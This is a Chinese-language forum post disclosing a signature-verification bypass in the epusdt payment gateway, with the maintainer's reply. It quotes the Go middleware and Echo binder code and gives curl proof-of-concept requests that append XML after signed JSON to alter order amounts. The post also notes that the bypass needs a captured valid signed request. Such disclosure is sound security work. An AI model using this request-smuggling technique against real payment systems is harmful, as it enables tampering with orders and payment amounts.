V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
sduoduo233
V2EX  ›  程序员

epusdt 没啥用的漏洞

  •  
  •   sduoduo233 · 6 天前 · 820 次点击

    省流:不能零元购

    先看一看这一段检查签名的 middleware:

    // https://github.com/assimon/epusdt/blob/master/src/middleware/check_sign.go
    
    func CheckApiSign() echo.MiddlewareFunc {
    	return func(next echo.HandlerFunc) echo.HandlerFunc {
    		return func(ctx echo.Context) error {
                
    			// 先读取所有 Body 内容
    			params, err := ioutil.ReadAll(ctx.Request().Body)
    			if err != nil {
    				return constant.SignatureErr
    			}
                
                
    			// 解码 JSON
    			// 注意这里:go 的 json 解码是不管 json 后面的垃圾数据的
    			m := make(map[string]interface{})
    			err = json.Cjson.Unmarshal(params, &m) // err 被忽略了
                
    			// 这里的 signature 可以是任意类型
    			signature, ok := m["signature"]
    			if !ok {
    				return constant.SignatureErr
    			}
                
    			// 计算 signature
    			checkSignature, err := sign.Get(m, config.GetApiAuthToken())
    			if err != nil {
    				return constant.SignatureErr
    			}
                
    			// 虽然 signature 可以是任意类型,但是这里应该是安全的
    			// 因为 go 没有 js 双等于号的自动类型转换
    			if checkSignature != signature {
    				return constant.SignatureErr
    			}
                
    			// 重置 Body
    			// 注意 JSON 后面的垃圾数据会被保留
    			ctx.Request().Body = ioutil.NopCloser(bytes.NewBuffer(params))
                
    			return next(ctx)
    		}
    	}
    }
    

    middleware 后面的 controller:

    // https://github.com/assimon/epusdt/blob/master/src/model/request/order_request.go
    
    type CreateTransactionRequest struct {
    	OrderId     string  `json:"order_id" validate:"required|maxLen:32"`
    	Amount      float64 `json:"amount" validate:"required|isFloat|gt:0.01"`
    	NotifyUrl   string  `json:"notify_url" validate:"required"`
    	Signature   string  `json:"signature"  validate:"required"`
    	RedirectUrl string  `json:"redirect_url"`
    }
    
    // https://github.com/assimon/epusdt/blob/master/src/controller/comm/order_controller.go
    
    func (c *BaseCommController) CreateTransaction(ctx echo.Context) (err error) {
    	req := new(request.CreateTransactionRequest)
        
    	// 这里用到了 echo.Context.Bind
    	if err = ctx.Bind(req); err != nil {
    		return c.FailJson(ctx, constant.ParamsMarshalErr)
    	}
        
    	if err = c.ValidateStruct(ctx, req); err != nil {
    		return c.FailJson(ctx, err)
    	}
        
    	resp, err := service.CreateTransaction(req)
    	if err != nil {
    		return c.FailJson(ctx, err)
    	}
        
    	return c.SucJson(ctx, resp)
    }
    

    echo.Context.Bind 支持多种 mimetype ,所以说应用层可以是 XML 编码,签名是 JSON 编码

    // https://github.com/labstack/echo/blob/9e73691837f52c7fdf4898cbe5bf1d157387bdb0/bind.go#L68
    
    func (b *DefaultBinder) BindBody(c Context, i interface{}) (err error) {
    	req := c.Request()
    	if req.ContentLength <= 0 {
    		return
    	}
    
    	// mediatype is found like `mime.ParseMediaType()` does it
    	base, _, _ := strings.Cut(req.Header.Get(HeaderContentType), ";")
    	mediatype := strings.TrimSpace(base)
    
    	switch mediatype {
    	case MIMEApplicationJSON:
    		
    	case MIMEApplicationXML, MIMETextXML:
    		if err = xml.NewDecoder(req.Body).Decode(i); err != nil {
    			if ute, ok := err.(*xml.UnsupportedTypeError); ok {
    				return NewHTTPError( http.StatusBadRequest, fmt.Sprintf("Unsupported type error: type=%v, error=%v", ute.Type, ute.Error())).SetInternal(err)
    			} else if se, ok := err.(*xml.SyntaxError); ok {
    				return NewHTTPError( http.StatusBadRequest, fmt.Sprintf("Syntax error: line=%v, error=%v", se.Line, se.Error())).SetInternal(err)
    			}
    			return NewHTTPError( http.StatusBadRequest, err.Error()).SetInternal(err)
    		}
    	case MIMEApplicationForm:
    		...
    	case MIMEMultipartForm:
    		...
    	default:
    		return ErrUnsupportedMediaType
    	}
    	return nil
    }
    

    假设我们已经拿到了一个合法的请求:

    curl -d "{\"signature\": \"10744c8a11bcf22851274f7c7222fb4d\", \"amount\": 666.0, \"order_id\": \"2\", \"notify_url\": \"https://example.com\", \"redirect_url\": \"https://example.com\"}" -H "Content-Type: application/json" http://127.0.0.1:8000/api/v1/order/create-transaction
    

    那么就可以把 Content-Type 改称 application/xml,在 JSON 的后面附加上 XML 的请求。检查签名时会忽略后面的 XML 。

    curl -d "{\"signature\": \"10744c8a11bcf22851274f7c7222fb4d\", \"amount\": 666.0, \"order_id\": \"2\", \"notify_url\": \"https://example.com\", \"redirect_url\": \"https://example.com\"}<P><OrderId>3</OrderId><Amount>99.9</Amount><NotifyUrl>https://example.com</NotifyUrl><RedirectUrl>https://example.com</RedirectUrl><Signature>1</Signature></P>" -H "Content-Type: application/xml" http://127.0.0.1:8000/api/v1/order/create-transaction
    
    {"status_code":200,"message":"success","data":{"trade_id":"2024***","order_id":"3","amount":99.9,"actual_amount":13.78,"token":"***","expiration_time":***,"payment_url":"https://example.com/pay/checkout-counter/2024***"},"request_id":"***"}
    

    在检查签名的时候会用到前面的 JSON ,所以这个请求可以通过签名验证。但是在 controller 会把 Body 当成 XML 来解码,所以实际创建的订单的参数是后面的 XML 。

    这个漏洞没啥用,因为一般情况下是拿不到合法的请求的

    1 条回复    2024-11-28 15:03:33 +08:00
    assimon
        1
    assimon  
       2 天前
    嗯,这的确是一个问题,但是如果没有 apitoken 没有泄露的话,无论如何验签那一步是过不了的,所以后面的 xml 也不会被处理。
    不过还是感谢反馈,我抽空会更新掉。🙏
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   2602 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 25ms · UTC 04:30 · PVG 12:30 · LAX 20:30 · JFK 23:30
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.